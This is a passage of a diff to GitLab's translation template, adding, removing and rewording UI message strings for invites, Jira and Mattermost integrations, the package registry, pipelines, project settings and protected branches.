-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16888,7 +17340,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16897,25 +17349,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16930,6 +17382,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -17092,6 +17547,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -17101,6 +17559,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17188,6 +17649,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17251,6 +17715,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17338,6 +17805,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17350,9 +17820,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17392,7 +17871,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17413,7 +17895,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17425,12 +17907,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17647,15 +18135,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17746,6 +18225,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17951,6 +18433,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18363,6 +18848,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18432,6 +18920,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18606,6 +19097,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18645,6 +19139,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18669,9 +19166,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18747,6 +19241,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18765,13 +19262,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18846,6 +19340,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18948,9 +19445,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18960,9 +19454,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -19095,9 +19586,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19155,9 +19643,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19724,6 +20209,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19916,6 +20404,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19979,6 +20473,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -20114,6 +20611,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20434,6 +20934,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20483,9 +20992,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20651,6 +21157,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20696,6 +21205,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20762,7 +21274,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20813,6 +21325,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20900,6 +21415,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -21071,6 +21589,34 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21185,6 +21731,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21317,10 +21872,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21410,9 +21962,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21437,9 +21986,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21470,6 +22016,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21558,12 +22107,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21582,9 +22125,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21597,10 +22137,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21615,6 +22158,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21666,6 +22212,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21774,12 +22323,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21810,6 +22365,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21828,6 +22386,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21879,6 +22440,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21903,9 +22467,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21942,15 +22503,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -22002,27 +22590,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22260,10 +22827,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22344,7 +22920,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22593,9 +23169,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22614,6 +23187,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22689,6 +23265,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22758,9 +23346,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22911,10 +23496,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22950,6 +23535,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -23088,6 +23685,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -23112,6 +23715,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -23136,6 +23742,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23394,7 +24003,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23784,6 +24393,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23799,49 +24411,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23895,25 +24540,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23925,7 +24573,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23937,7 +24585,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23949,10 +24597,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23985,10 +24633,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -24012,15 +24663,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -24051,7 +24696,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -24060,7 +24705,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -24081,16 +24726,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -24102,12 +24744,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -24135,10 +24780,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24672,6 +25317,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24693,7 +25347,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24714,6 +25368,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24888,7 +25545,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -25077,7 +25734,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -25244,7 +25901,7 @@ msgstr ""
